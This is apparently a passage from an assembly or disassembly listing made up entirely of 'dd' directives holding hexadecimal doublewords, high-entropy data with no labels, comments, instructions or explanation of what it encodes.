0D5E9597Eh, 16F23E8Dh dd 384CE9A1h, 964E30A9h, 45B5846Ah, 8A527E05h, 3833A01h dd 3E703D3Bh, 9EA89E11h, 0C494093Ch, 5CDA7F7Ch, 789D438Ah dd 3CC79539h, 0BF9A7FEh, 0C9F04BA6h, 5F65AA3Dh, 0A23A972Fh dd 5CD9FCE1h, 315DA099h, 8F1FC03Bh, 2550F209h, 2A0093F1h dd 0C3813883h, 9311A99h, 2F0AE91Eh, 58C01C54h, 8053B268h dd 0F1600BE9h, 262DD077h, 27C62760h, 0CB686A98h, 70CD515Bh dd 59B995F4h, 0DA9E1B75h, 0B589F7E8h, 6045C941h, 11176A13h dd 5CA8599Ch, 4B055310h, 8D107F4Ah, 0EAF8692h, 0EA601867h dd 28122C4Ch, 4804D03Ah, 92F83A2Ch, 0C1305BEEh, 74566866h dd 8399144h, 0E5258CABh, 77E30C86h, 9CB0211Ah, 0B1A569B4h dd 2FEBAEh, 5C192523h, 350A5443h, 0BD40500Ch, 98A88213h dd 9B2B57CFh, 84D7E062h, 1413B331h, 6E044B61h, 0ED29D353h dd 69CD30DFh, 16B54BFh, 0F78127B8h, 92A54C3Fh, 73A24420h dd 3D2C0332h, 48048A7Eh, 0CCAA757Dh, 0B909BAF8h, 803C613Fh dd 0CC1660DAh, 0D14A4866h, 4B76CA1Dh, 0F58031DFh, 44D20510h dd 24F3E924h, 1AD16884h, 5C567EF3h, 3A293B04h, 8BD4BA77h dd 0F4A80817h, 0CEEE83B4h, 0F901B71Dh, 30C06BD2h, 0E7D0F797h dd 1FFCCE60h, 0D346988Bh, 0EE81F447h, 29245909h, 62CF0033h dd 0CF55B94Ch, 0D84F5F18h, 7E50EB93h, 9D05008h, 76046118h dd 1206AFE4h, 82C14A02h, 0E54AAC89h, 0AB71607Ah, 9684D082h dd 4BD1C5E1h, 98D95BF3h, 79AF360h, 0E97516D1h, 0A6CAECCBh dd 342A094Ch, 59DC7947h, 5DB008A0h, 0ACE96ACFh, 9EA2F1Eh dd 68920825h, 6BCED100h, 87A1DB13h, 0C402A8Fh, 15012699h dd 5BDE2621h, 0EA402553h, 0C526AFE3h, 0C225EEE7h, 69FA71FEh dd 0BD78DCD0h, 0EAD22726h, 6B32E50Fh, 4E476458h, 10FEBD06h dd 0BD4DB498h, 21DDA05Ah, 0B6669D40h, 0AEB49E36h, 62E8ADD5h dd 0E5022D5Bh, 0E949A023h, 3E17FC68h, 9D767D75h, 72AF3AD3h dd 0ACE7F470h, 0C18FA29Fh, 562C96B3h, 9242A293h, 6C2FF5A6h dd 200CCF5Bh, 15563EC9h, 0EB7A2368h, 0A3094416h, 8FBF8093h dd 0B632FE1Dh, 0D5E3038h, 651E5519h, 7F00F181h, 0CF09153Bh dd 24D459h, 28225548h, 0F967EEC9h, 55DE8B89h, 7E09F646h dd 0D51D8E0Eh, 9B58248Bh, 1D3072E7h, 0CE7A5453h, 259CD4A3h dd 8B6F29F9h, 0B7D7F0C9h, 2C4045EEh, 92B9EBBh, 0B4004F5Ch dd 0CF7F23E4h, 0EC585B90h, 0B5D9927Fh, 6DF99CAFh, 62855D69h dd 20C52D55h, 6880B2CFh, 0B37962D9h, 94557EEDh, 0B6045E15h dd 207358E8h, 6A5A6BB5h, 0FEA4E4DBh, 31751208h, 7BF1099Dh dd 0BFAC8C0h, 0C5860ABh, 0A8F57467h, 0A42FE919h, 37F492Eh dd 0CB27F135h, 5BD69082h, 0E994C027h, 25279E8Eh, 55C44BF9h dd 18331EFh, 0AE19C87h, 0A15D5B27h, 0CF8F8968h, 7E51CFDCh dd 0FC695475h, 0F04B4ADFh, 0D417BC44h, 0DD2FB9D3h, 0A6C8EE94h dd 2C5A5831h, 8C748117h, 0EB41720Eh, 4018F03Ah, 39661F40h dd 4EE1E6D1h, 20534FD0h, 5266F315h, 0B06DA08h, 9367E9D1h dd 0F197BF64h, 674E1972h, 4B057801h, 4BACC050h, 5A8A8AA2h dd 65CEAD89h, 13F8E912h, 70A79944h, 0D64E5AA3h, 68120F97h dd 0E2E30B31h, 91070E13h, 12AE8BFh, 0E23BFA01h, 7A76CB3Bh dd 27FA77A5h, 9D1B95Ah, 54E953E1h, 88173978h, 0AA870BF8h dd 49FFE31Bh, 0CE1E4B63h, 4F596B2Ch, 0DFF95D4Fh, 0E52D652Eh dd 0DA1FCC59h, 52E9CD29h, 0BFD07325h, 112B7999h, 60E84502h dd 0E95F5993h, 9501955Eh, 0C38009B3h, 0FE21D7DAh, 0E8D3F66Eh dd 885EA9EBh, 0E59B64A0h, 4CC4CE3Ah, 50732012h, 39C6B42Dh dd 24FC890Ah, 8971C51Ch, 5B9947DBh, 4ABAE450h, 58077D1Eh dd 41C4C19Ch, 539797E9h, 6ECE686h, 9C1FA0CEh, 6A43424Fh dd 16BE5600h, 0B901766Dh, 54498A02h, 0EA9EE906h, 92195604h dd 255F2753h, 8510BDC0h, 74EBB6ADh, 0A4C8EF88h, 0BD594B54h dd 97BF9F42h, 0B623B2C4h, 0F1AC958h, 0E30B4E7Ah, 0D5861ED3h dd 552D96F6h, 4ABBC179h, 15EC34C5h, 8BE4DF84h, 2EA518EBh dd 2F685D0Ah, 8E183AFDh, 0FF8292A0h, 4BE16C29h, 5C9596F1h dd 92165AF9h, 4CE0B29Fh, 7C972C52h, 36B96860h, 1735FF8h dd 7C94832h, 7CF1FD8Ch, 0BBB5D270h, 711678D2h, 595B3203h dd 0B3C65A25h, 4B65161Dh, 0C00B4057h, 759B89E9h, 8193BB1h dd 57724055h, 0D51F0490h, 0A7E8F618h, 7FAF9A55h, 0E62D098Ah dd 79596387h, 2E486DCh, 0F30FE942h, 92890EF1h, 0BF6459F1h dd 0F20181FDh, 41FC3CC2h, 1AF0BB01h, 0CBF134BAh, 0A5AEECF0h dd 20E728CBh, 5D18B197h, 8612CF01h, 17539F32h, 96419D08h dd 0FE859C2Ch, 0C5F7AA52h, 30FBC525h, 0CA5BDACEh, 324D367Dh dd 0CD765BB8h, 6C7E52A2h, 0AE934012h, 0D84CC39h, 0BFF2685Ch dd 3DB5A5CCh, 0ED9D6688h, 86153208h, 0F6E9405Dh, 0D3066D2h dd 0E92A0932h, 0C1B5E904h, 0FB40561Ch, 51394B92h, 0DB65B566h dd 0CADE5038h, 0A4DB7160h, 0E956581Bh, 6EA0532Dh, 9FBAA03Fh dd 69DF3E22h, 0DD65C500h, 0EA299620h, 8C265D5Eh, 0B65200B2h dd 5AF188C3h, 281D972Ch, 0E82D04C8h, 25E95429h, 3946E4FAh dd 0CD867198h, 67EE099Ah dd 345160B6h, 3E16E301h, 6C6401CDh, 24636973h, 0B135FE87h dd 2105E276h, 37B1CC7Eh, 0C2FE4D71h, 0C97F739Fh, 870A84h dd 2F62C3BBh, 825ABC09h, 4DFB32D3h, 1AD5EB42h, 5B0C0144h dd 1B422D58h, 62D1D05Fh, 0BAE97308h, 28E03ECAh, 60821A64h dd 2F186620h, 0E7E261DAh, 3FD15361h, 81013DB3h, 897951EAh dd 0D1D96E4Ah, 243A4131h, 93D5012Dh, 6F54CC6Ah, 85F56447h dd 0F76F9FC0h, 0C0398D5h, 162342D8h, 151DB1FEh, 0CA867EB5h dd 0F87C2095h, 501C1CE2h, 0F203BE10h, 4F306D3Bh, 3A25A2F1h dd 41AA2198h, 0C055E695h, 482C68F8h, 3CDFB825h, 0E97BB482h dd 326AC1BCh, 3020A61h, 0FFBBE25Ch, 0E0E1BA27h, 592DA3BFh dd 61B680BDh, 748BA6D2h, 0E0F84DE9h, 0D146476h, 0B8EBC45Ch dd 64BBC469h, 0E99A9CBEh, 67789F25h, 0DA2E3F20h, 0A6BE8335h dd 0C0BC4C17h, 343225BFh, 0F0315D00h, 5C98355Eh, 595678DAh dd 218BDBC2h, 0F115A484h, 243647AAh, 0FFF1C1D8h, 0AD62EC35h dd 42E96412h, 0F746B4C0h, 0F68105D6h, 81773810h, 7AD52CB1h dd 0A6689021h, 0CEB1C52Ah, 54562758h, 6A3F003Ah, 8345E937h dd 0ACB60483h, 0E0414219h, 7C703D9Eh, 20FD594Ch, 5E09D73h dd 0EB0481D3h, 6D0CB822h, 1ADC0280h, 943EF318h, 40813F8h dd 76F485Bh, 0A875E188h, 0EC4EABB8h, 0BC69B1C8h, 4BC78B82h dd 24E1FDDDh, 3E8421FEh, 59CD1701h, 0F60ED83h, 905B9F2Ch dd 469141Bh, 2A7855BCh, 86EC807Ch, 0F7E48A37h, 0AA68D90Ah dd 176A8E5Dh, 3D7FDC02h, 985F761h, 0C400BE29h, 0BA49B5E1h dd 268A983Bh, 922D7Ah, 0E566A535h, 70B82964h, 5003494h dd 77261AB4h, 6572092Dh, 88773553h, 503E071Bh, 0A65FE911h dd 0FBBE9100h, 0B70A0607h, 0FDD5AD69h, 3BF97224h, 51397E0h dd 5B01199Ch, 95E398C3h, 0FBD2340h, 45EB5541h, 0BBCFFD44h dd 299BC044h, 47549DEAh, 28808FF4h, 89F7E969h, 2570C99Fh dd 0BF56132Ah, 59E9493Ch, 3375C1E8h, 430A6E5Ah, 78AA36D9h dd 0AFB49718h, 0F450B554h, 48D8305Fh, 5B83A918h, 26BB2BACh dd 34B58180h, 2FC1C380h, 0E7620CC1h, 0D72BA0h, 26A35C9Ch dd 694F781h, 2C0E24Eh, 9D697E7Dh, 7FF9A981h, 9363E680h dd 6D052804h, 0C2AE4160h, 0B2D7521Eh, 79004159h, 0EB59D03Bh dd 0D8FF4003h, 760E82EDh, 52E9680Eh, 9DE07ACh, 13D5C378h dd 3397F9DFh, 6F616224h, 64450A1Ch, 2969EA05h, 1718C3Eh dd 8084DD82h, 0C2C012F4h, 5F3D0429h, 0F638A409h, 0BCA9D00Bh dd 0B9656C7h, 855684E2h, 75B86D62h, 7092646h, 8003D605h dd 0F40DE2E1h, 2C6A031h, 4DC4B576h, 231E6C0Ch, 47BFE67h dd 0E9397727h, 4862FC89h, 17C90E06h, 0F7480211h, 838840D1h dd 6C2D0134h, 0A54EE0Dh, 10C76B12h, 0E6059880h, 0E8D12F17h dd 7009EE50h, 29CFED8Fh, 52450099h, 0B56AC51Fh, 8045F6Ah dd 0FD30AB59h, 2C31AE68h, 155206F1h, 0DF5E6DBAh, 0E95109E0h dd 0DC26A941h, 0C156C5A2h, 3F1BB41Fh, 1D12CF97h, 0BBD34015h dd 737A06C0h, 4D58E97Eh, 902D660Eh, 4B058F5Dh, 0E852066Bh dd 0F70FDE16h, 0DE9111Eh, 44B23ECDh, 7BD0448Bh, 0FE7696BDh dd 0B579921Eh, 0C6A5C353h, 94E0361Eh, 12A1C843h, 0C637A698h dd 0E30AED20h, 0ADC839D1h, 602F8200h, 0B6B0E903h, 54310908h dd 2B5A7619h, 0C2171BE2h, 80B2F8B3h, 0CF0ACE05h, 5A00B579h dd 3936EBBBh, 0CB811400h, 66500910h, 4497904Bh, 2C0BC6E5h dd 0E2C8B2ADh, 0D70DC0BAh, 75771D57h, 2B166731h, 0BA805D7Ch dd 28B3046Dh, 0EAD12984h, 6812488h, 0AD53A1CEh, 40010C3Fh dd 0E922FB6Bh, 8A6B14DBh, 28777CC8h, 10366082h, 0A8D5D7E4h dd 0D9D484F3h, 5F2B6803h, 819C588Bh, 29F1DC83h, 0FE29C5DDh dd 0D6D02FC1h, 4E289F34h, 970BE9E8h, 1AA4F2D7h, 42D6560Ah dd 0B600CBC0h, 0F52831h, 0DDF65A66h, 5113B753h, 0E916B509h dd 0B507D8EEh, 56B4DC73h, 0CFA58AEEh, 700D5230h, 0A22BA3CCh dd 0ABD29F90h, 0E73B08B1h, 0F180DE5Eh, 6B649C1Bh, 37839D29h dd 3C0F70FCh, 657BD735h, 1C44868h, 0A5BDB341h, 0C02B3219h dd 0E56A9C3h, 58D86097h, 7F5C091Eh, 0A555DFE9h, 0A613D992h dd 5C5BBF82h, 8410725Bh, 739D5453h, 0A6C316D6h, 7A814124h dd 47E8AA74h, 0BA56D58Eh, 11E9B461h, 50029938h, 0C0FE40B0h dd 3EEBA941h, 8A83B927h, 541025DDh, 575C5246h, 0EC12281Eh dd 0E0B4035Fh, 11353845h, 97112DBh, 0B585058Dh, 89548232h dd 0D1C82102h, 3ADB49FAh, 47D542Dh, 900FE952h, 88C3FE1Ah dd 1F8D84Fh, 0B8D76884h, 0BE56C3DCh, 0B0EC8E8h, 416E59E9h dd 41FC024h, 0FA38C480h, 4BBFE02Ch, 4835A322h, 0D1E9A034h dd 0B773B522h, 4A5A5A14h, 658A5B00h, 8A290EA1h, 5C4C7Fh dd 171E0CBBh, 477EBE55h, 0E9B98A05h, 5FEDDCB6h, 0C335B505h dd 75379327h, 6E687488h, 0AB301F5Eh, 581A2352h, 0E705D94Dh dd 0F83AA96Bh, 537778E3h, 0D895EB25h, 1BAE2D68h, 680B1FC8h dd 7A14E42Ah, 56BB66D3h, 8524AA19h, 58F7CFEFh, 28A0278Fh dd 0C1E4D982h, 5772E921h, 72D737EFh, 48569A71h, 2F9F441h dd 0E8FD7471h, 3101E13Eh, 2AA2ED0Ah, 2E7B24F7h, 52C7026Ah dd 69B45683h, 0D2C12F27h, 0A49ED35Ah, 0B69E2158h, 66699F8Bh dd 0FCDC20E2h, 1B4CFAC5h, 0CDB500AEh, 33895E68h, 3CE0B0C8h dd 894CB899h, 5E303C52h, 0EFA6E491h, 0E7215C01h, 677720C2h dd 7B549A0Ah, 0B9F01740h, 44ACCDB1h, 0C5D0302Fh, 2D68F258h dd 0D09970BFh, 2A852A20h, 4EC18ABAh, 0E72C804Ch, 75801E68h dd 215E0BA2h, 0B2CED652h, 0A059F016h, 0B878175Eh, 9C14E2A5h dd 5898FEh, 689734B5h, 0CA81DAF7h, 4C488B0Eh, 0F0F2C035h dd 0F86F1F02h, 1EB27CE2h, 25E96863h, 0F30557FAh, 5E8F6D19h dd 0CF2A881h, 0D107763Dh, 0B4380865h, 0EC2F9536h, 925CA087h dd 0C7A3B0E9h, 92FA2520h, 3C613A88h, 20A340DDh, 0DDA8E8E9h dd 0A63CC580h, 9E1C4930h, 0E9EEEBC1h, 95BC72D7h, 3D02BE04h dd 2C0EE79h, 604CF216h, 73051A4Bh, 64985815h, 0E858C34Bh dd 3707E3EAh, 0F21061C2h, 467D21CFh, 4E67F2F1h, 0DE2CD1AFh dd 0A72103CAh, 0D1F9D2D2h, 8D708B5Bh, 0B9865FE6h, 0D708E1B5h dd 7F33D87Fh, 0E3319C40h, 0F4416A8Ah, 0C85C6498h, 8EB72553h dd 832212BBh, 0BF7B58DBh, 37565010h, 7C09A525h, 0F6130DD6h dd 7A547C8Bh, 4437A40Bh, 100C0F05h, 4F426809h, 5F544398h dd 0BA5FC9FEh, 854A5EA6h, 1A01AE6Fh, 172B218h, 1252C47Fh dd 93FEA208h, 0B996B2FDh, 0E10FCFFEh, 5C2E68C8h, 4847C824h dd 88D8EB91h, 58818362h, 0BBA8413Bh, 1C56C952h, 0D88227E9h dd 362F0AE8h, 8107D506h, 970D2BEAh, 126043C0h, 1251B880h dd 0B8344A50h, 0A3C09C01h, 350F431Ah, 0D659001Bh, 0EEB92D6Ch dd 0F89734ACh, 78B8006Ch, 0E9353DDDh, 0BE929EE5h, 6C2DD677h dd 2915C5B9h, 0A65008F6h, 2607C220h, 53D76025h, 0B068FBF0h dd 0A8DE9971h, 0D5072D01h, 0C59DFE4Eh, 4B032EEEh, 8A039C2Bh dd 3B16A391h, 0E094077h, 5D5B2B67h, 85684AB0h, 0E03B2A55h dd 8F5A76C6h, 698F49F8h, 0CF291390h, 566F7349h, 90684165h dd 0B3D2073Ch, 3EF5D9F9h, 7E84A5DBh, 7FA3508h, 0B02055Bh dd 0B479C176h, 66D5D16Eh, 7AAE4253h, 30AF4D53h, 838F2868h dd 0C05D2E11h, 0CFFC736h, 7635CF05h, 1CC07812h, 33223BFh dd 0C1D6F767h, 0E69B04EEh dd 0CA0E075Eh, 78F8874Dh, 848CF661h, 0A02F7CCDh, 8E5A6BD5h dd 0E2C4B7ACh, 7C8E2EFh, 9FE29DFh, 0AEE3C7C2h, 0D44936B7h dd 4C692BBCh, 0A8B532F0h, 0D282B3E8h, 910A6D11h, 0EAB5A828h dd 1497ABF2h, 0FEE918F3h, 6BF2E374h, 4A674439h, 650356A8h dd 4214607Dh, 187B1C38h, 850C2FA0h, 0AFD300B3h, 535AD501h dd 7928E950h, 801CA617h, 0F905AAC7h, 0F71C285Bh, 0AE9FA02h dd 0B7B1A3ABh, 0ED2628DDh, 0CE10F5CDh, 7267876h, 151DE162h dd 89A03F58h, 0D2989570h, 5782D567h, 0F0D17499h, 9991B076h dd 1E27F83Ch, 0BC1C7923h, 6DB1C898h, 72094EC5h, 965939C9h dd 96E91034h, 0FC5A2D25h, 0CBFE420Ah, 7987F854h, 0A3E3D928h dd 0C153069Ch, 0D4A60CE4h, 90B68F27h, 1F665366h, 5275EC68h dd 6E84A11Dh, 25589C9Eh, 29EA134Ah, 6FA02EE5h, 9F181825h dd 5484652h, 63EABC2Dh, 5C29B93h, 5B1D6D22h, 6807F03Dh dd 0E621022Dh, 0E911E15Fh, 26172A22h, 1DA1B2ECh, 236800E8h dd 8F2FC476h, 459AEBE4h, 6C971C20h, 0EC713077h, 0EEC38133h dd 0EE44634Bh, 39E80244h, 0BB6B7C84h, 348BDA31h, 582887Bh dd 61F3B95Ah, 57C7BB18h, 2C5FA5BDh, 7C884021h, 16E240ACh dd 5BD5E397h, 8586DE7h, 8351B605h, 0F005AE67h, 24F45808h dd 68530557h, 0BAFE074Eh, 2EEF9853h, 911460CCh, 97F6817h dd 0A5D0E952h, 0BF94D690h, 5836C025h, 0A93FFC22h, 9B6E5EBFh dd 0CDBD4A56h, 0F099E917h, 0D62D290Ch, 0BD5D25Ah, 467C22AAh dd 78217D0h, 0EA596BFEh, 14CEF26Eh, 7D269725h, 7CF3EE00h dd 215A6658h, 9D16B2F0h, 0D972C39Ch, 38D83AD2h, 515B8058h dd 0D101FFBEh, 4909AE78h, 80962460h, 5D58E831h, 892E6F2Eh dd 46BAC174h, 97ABEBD8h, 9698DEF1h, 0CF78135h, 60E86EB9h dd 0F162A0Ch, 3EC54E5Ah, 0BF8290BBh, 765CED3Eh, 8F662DA8h dd 67B14114h, 0C93C4873h, 7E847948h, 0A527EE79h, 56FC9582h dd 2B305139h, 78BA2385h, 784B684Ch, 7866F7F4h, 12EE2552h dd 0A68247F1h, 0DF8BE688h, 459BC2ECh, 38945D49h, 9048E913h dd 31A27941h, 3F704217h, 294AB55Ah, 74120B0Bh, 0E9843AF6h dd 44AEA840h, 9E2D660h, 5B04EE5Bh, 0B13FB802h, 416FEEBBh dd 0E81EAB96h, 0AD74303Fh, 0CA08CF72h, 5A7EDE9h, 8902EA83h dd 3C896E4Ah, 0F32ED4F1h, 0AC26D3AEh, 161709F0h, 6EFE7970h dd 0B2F2290Ah, 5E5B0B20h, 0D6D868ACh, 87809E7Ch, 0CEC0B0F2h dd 0A29C3108h, 0BD689609h, 0BB4B9963h, 216D456Eh, 6961EAD8h dd 38738859h, 0B7EF2578h, 5163B812h, 0A1A6E75Eh, 1F5E2A7Ch dd 2316A0DFh, 31457B22h, 5A2CBD1Ah, 0DFDC2C5Bh, 9668354Bh dd 0EEB0542h, 0F8A70641h, 6AE91DB4h, 59206927h, 15E84531h dd 0F2479D22h, 0DACBC32Ch, 0D20A20BDh, 155346A1h, 851CA692h dd 8DA8EF47h, 82C9E65Bh, 0D4C654E9h, 0A5BA929Fh, 2A5AF006h dd 2B274E24h, 17CC3408h, 0FAA6E064h, 0BB96140h, 4B7656F6h dd 9E7A104h, 0D3AA82BBh, 0D2C0DF03h, 80BF275Fh, 0C8FB9DAFh dd 0AC51506Ah, 4960821Bh, 59251221h, 0F485C6Eh, 0CDB3C0Dh dd 2A9C1CC9h, 2E185FE0h, 898737Ah, 23ECD71h, 4C5BE305h dd 6AAFE174h, 0C53016A7h, 2C2E1F0Ch, 0AE100BD6h, 0D6D0281Fh dd 120F759h, 788ABA52h, 402E07D5h, 0B3656D2Fh, 545E010Dh dd 0C06A1CDh, 4AE9266Dh, 555A8B06h, 58BC9616h, 7AE85344h dd 0C516280Eh, 415AB877h, 62116107h, 78105058h, 0EEDFF780h dd 141BADDh, 6E72E0BAh, 60D70919h, 0BF17C705h, 4885C1CFh dd 1E5C4FBBh, 0D85A7D7Eh, 0F9A80115h, 2980F380h, 5BA6EEE8h dd 429E9D62h, 5225AC0Bh, 801CE6C0h, 0AC9C5EE7h, 0DFF61716h dd 88DDEE01h, 0EEF85BFEh, 0F0281220h, 0F805AE5Ah, 90D037E9h dd 0AC22F368h, 103D0088h, 0E381437Fh, 4E1F35C7h, 96DE916h dd 0C9C5D97Dh, 0C6A58CF6h, 0F0E91256h, 0D5E36179h, 0ACF33AAEh dd 0E6EB5C8Fh, 0E0D33F40h, 0DA609598h, 0D89C52Dh, 843EE53Ah dd 7B54C1CFh, 765102E3h, 0CFD0695Bh, 7E859580h, 5A27C92Fh dd 4208828Bh, 78170975h, 0EDE827A1h, 0C1E78FF6h, 18826ECDh dd 0B9687AB2h, 30A5CC7Fh, 0E19F8A78h, 302425FCh, 0E0015203h dd 0E9384D5Dh, 99F252A2h, 0D9D8A7D6h, 4E589694h, 0F76680CDh dd 459C62CFh, 0D1416017h, 3EF95096h, 9CA176E8h, 321F8289h dd 85007ADFh, 7653A470h, 950658C1h, 0C4453607h, 63CAF035h dd 3E7CE316h, 44FEE206h, 0A364CD2h, 0A6FDAAF1h, 73F60099h dd 2FE932F4h, 5DEC1564h, 0C9E5CFC9h, 5A14202Bh, 7249C768h dd 0A37F1045h, 0F2BCAC3Eh, 8D90BE12h, 0FC946F4Fh, 1B9AD401h dd 1C3B6208h, 548C6BDh, 30B415A0h, 0DF020D28h, 134CD5Fh dd 8FF88D5h, 56535A09h, 674258C2h, 0FF443181h, 606DE0Ch dd 30E1F003h, 11E04105h, 9FB02529h, 5577F6F4h, 264D69h dd 0F14BFEEh, 502C2435h, 79830711h, 55432072h, 6C9557E9h dd 202453Bh, 11751FDBh, 0CB4456FCh, 59DD8ABEh, 62B8CB69h dd 74477D2Dh, 0DB94E986h, 40659722h, 6027CC24h, 0B9E35AAh dd 315853C4h, 0EB0B0776h, 3F526C5Dh, 752DE9C3h, 33B9A2A0h dd 26C330B5h, 0C5E33CBCh, 8A712FAh, 0BA01F3DBh, 0EF56BD3h dd 0A6953230h, 0F02925FBh, 2D0B6714h, 0D4064879h, 84A520FDh dd 8107A108h, 78F00405h, 0F2521F94h, 0B64E8C8Eh, 7EE90B87h dd 3B9D90DAh, 48419CDBh, 0FB522DB5h, 0AFB40AFCh, 82A8FB21h dd 98FACAE6h, 50416C2Fh, 12BAFA4Ah, 0A172F11Ch, 898B030Bh dd 44602AB9h, 0A0C0A8A1h, 24E9C231h, 96E05E52h, 53231ED1h dd 8917C1B2h, 742D2BCBh, 0AB121860h, 877C1DD6h, 8D31AD9h dd 0D96F49DCh, 8B382FEBh, 0FBEA295Ah, 0BD64CDB2h, 0A5628E7Ch dd 52E7735Eh, 4F08EEA0h, 1A1DE606h, 0D67F7031h, 141A0502h dd 0CF5EC1D6h, 0D15C6059h, 8F04E769h, 60FA1291h, 41058C9h dd 805DD388h, 3B59EB80h, 798D2ECBh, 59BA6805h, 0BDC466F8h dd 0DDEF415Dh, 0BF204C77h, 553A02E7h, 9DE92D46h, 5E4E03D0h dd 67BBA753h, 3E432D9Fh, 5E63D4B4h, 272F8AF5h, 422B5CC5h dd 33C6B0BCh, 35BB659Fh, 88ABE0Ch, 0D7685C05h, 5E5F2227h dd 90C46629h, 63C49D49h, 904FF574h, 6E2D0C00h, 27DC47A2h dd 0DAD6C121h, 44E91CCBh, 74410D33h, 9B1A5A83h, 3AD90C69h dd 92402FE6h, 0FA6349E7h, 0C70EC07Ch, 97BFBEBAh, 3612574Eh dd 595B41FAh, 74B599E9h, 541693ECh, 0DC016BC9h, 72EC336Fh dd 122EC3D8h, 0BBBC1B02h, 4D619044h, 440003B3h, 0E929B676h dd 86B19E65h, 0FEDBC546h, 0C369B726h, 577DF005h, 0F8E1095Eh dd 575B0707h, 0D1849229h, 0FD8904A8h, 6E9BB7B2h, 2F6FB589h dd 5EBA47C8h, 4EB9CC40h, 522D1B72h, 7FD44095h, 890082D5h dd 38A0338Fh, 12865048h, 71EB915Ah, 0E0B353FAh, 0E91AC6B1h dd 55CF0A75h, 257DDF80h, 50B75732h, 0FF768B4Fh, 133E6891h dd 882A904Dh, 0CB40F61Bh, 49EDECADh, 0F04C6398h, 265C4210h dd 6C09BA61h, 42A7148Ch, 5C2C1218h, 0FB4074EFh, 70B80928h dd 0A77BE15Fh, 0DC0127DCh, 4C525948h, 51955A11h, 9DD4EBADh dd 105BA5B8h, 8087DD32h, 671736B9h, 8E4B69C3h, 69757E47h dd 0F76B942Fh, 87A7A676h, 5B570114h, 0B58267Ch, 757AE968h dd 1C2C071h, 3644DFCAh, 0A7A3E913h, 0E690E8ACh, 0BDEDBA77h dd 62ACA767h, 2B2EA40Eh, 4073D63Ah, 56FBA034h, 87648495h dd 64836B8h, 0E91FF8F7h dd 68ACA6EEh, 9971B20Bh, 6AE4502Ah, 19B5247Ah, 6F7E2DE9h dd 5CA7A348h, 0BF09C9D9h, 0DBF72FE0h, 0C3BFF398h, 0E6260022h dd 893412BDh, 594AE9DAh, 11C7E643h, 649FE75Fh, 2C05C6ECh dd 4EE5FCD0h, 1F9E39FDh, 2CF00E69h, 0E9E6829Fh, 47A60C19h dd 2EA006D3h, 5D825AFEh, 0EF16CBC3h, 0D2E1F068h, 0C48EA23Ah dd 0DCBCCCE9h, 512A8B42h, 699B96DEh, 0F577A955h, 2BFA69Ch dd 6C14B16Bh, 16CAB92Bh, 8C7008F3h, 0CFB85D12h, 2C083E0h dd 0FA17E92Dh, 55FC2DE1h, 59E4B851h, 0D906D1F6h, 0B9EF38E9h dd 934F9209h, 1B8B55h, 20583F49h, 93F8B49Eh, 9391A2B2h dd 0EA8406FDh, 0CFCCFF5Dh, 0B3794ED9h, 0BEF1162Ah, 0ACE545A8h dd 85E9A068h, 9AD5CF7Fh, 5B728342h, 7508D260h, 436F6512h dd 0C6539D02h, 0D805C067h, 34C08260h, 0C7AEEEB0h, 0CBCF5197h dd 348BEF56h, 60249AF1h, 1361FA64h, 0E810BBDh, 79A27E60h dd 0BC492EE9h, 0A5477C33h, 0E98A88BFh, 7CCE4C25h, 1003617Fh dd 79DF3038h, 528D935Eh, 48736B66h, 0BD3553E1h, 0EB00E23h dd 1555FF9Fh, 725E8F11h, 3E3BA00h, 0BB294901h, 23F733E1h dd 85587731h, 0EA40BBFh, 0CB42EB5Ch, 0CB961075h, 62F0264Ch dd 4A960085h, 86E927EEh, 9F41B15Ah, 540A635Bh, 17330E00h dd 9C0C6261h, 0E9F844A5h, 7CCB248h, 53515A5Bh, 0E8D35959h dd 0B6B4E985h, 1213D7ADh, 0BF9C416Ch, 6E89597Ah, 0ACE8B312h dd 25B4ED4Ah, 7447F455h, 0A30467D2h, 68E811EEh, 84A97BCBh dd 7C3A25Fh, 0A4680218h, 95F226DDh, 0F9429D57h, 2F24140h dd 0BD2901Fh, 17B058D7h, 65B63852h, 285AF001h, 0E95166D8h dd 0D588E8B2h, 0EC566EB0h, 0FE6839EDh, 513F63CBh, 23F4A711h dd 0F2F817BEh, 9D001DCDh, 2370B9h, 0E18129AFh, 39FA415Ah dd 12B20EDh, 2FEAAA7Ch, 72FCFF5Bh, 0FDC58BE3h, 2E89D39Bh dd 2F3D2D3Eh, 8E6B66D9h, 0AE7E13F6h, 0AF40A0F6h, 8DBB753h dd 2ED54C4Bh, 0B25A45E9h, 0F1FC5DBEh, 0F6CF6C6Eh, 89119530h dd 53F8F850h, 8FF4E94Fh, 15A712BEh, 1776E8F1h, 18EA3410h dd 21DA0E5Ah, 4608CC12h, 1BBC3408h, 93A4CD66h, 0B6690245h dd 0E14C8412h, 0E54A12ABh, 52F43B29h, 16E5BEF6h, 0BC21EF05h dd 2DA5796Eh, 0E09C928Ch, 7BCA6812h, 0C8533533h, 1D9B1A42h dd 80BA5B31h, 81DEEFF4h, 812B6EAh, 0DCE53278h, 0A2E90800h dd 908B9277h, 50E30ACDh, 1F9D3B55h, 22F94972h, 6AF24680h dd 4E3028B6h, 0D8E652F7h, 0B8617112h, 4DD201CBh, 0F309CD74h dd 0BF846A5Eh, 1FBA5C4h, 122BAC64h, 0E9D5300Ah, 7CE8693Bh dd 36ECF504h, 0C1EF8988h, 7AE3B5D3h, 0F057A134h, 7D5FDC81h dd 62BE6600h, 78B73B74h, 7822908h, 0E9A6ACFCh, 6E8B3DD4h dd 62A55E0Eh, 0EE20A70Ch, 0E3113DD3h, 10F3660h, 47239B27h dd 0A445EF87h, 0B6035006h, 0B0589806h, 51D14F7h, 0FE097642h dd 0F6FD075Fh, 1F4381ABh, 0C6B02F89h, 3412F148h, 0D6622300h dd 0F81FC13h, 6C32EDCEh, 2E6C1A3h, 239AB205h, 89D42B0Dh dd 680480BDh, 0B810965Eh, 46751E25h, 9FE99B84h, 0A6F1D795h dd 332C4082h, 0E4C101AEh, 0A1C47CC9h, 0D3345F92h, 61270C24h dd 0E2674A5Ah, 6CE207F8h, 669864C0h, 32E91FB3h, 4449ECD3h dd 0FA21E6D5h, 0CB9F4CCEh, 0B270F381h, 3CEBED1Ch, 0EB24F37h dd 0B057929Fh, 0C5BD5F79h, 0B9A2AD46h, 0BC51FD48h, 67A8DC2Fh dd 0BC2C3568h, 1FE9C290h, 0FCB075B8h, 6CBF22F3h, 4751557Eh dd 5E31E9D8h, 0D3C9E88Bh, 0B0B66563h, 26EC680h, 0E9F18851h dd 9E54C83Eh, 3DAE6B82h, 20FCDE18h, 5C7724E2h, 3CBF208Eh 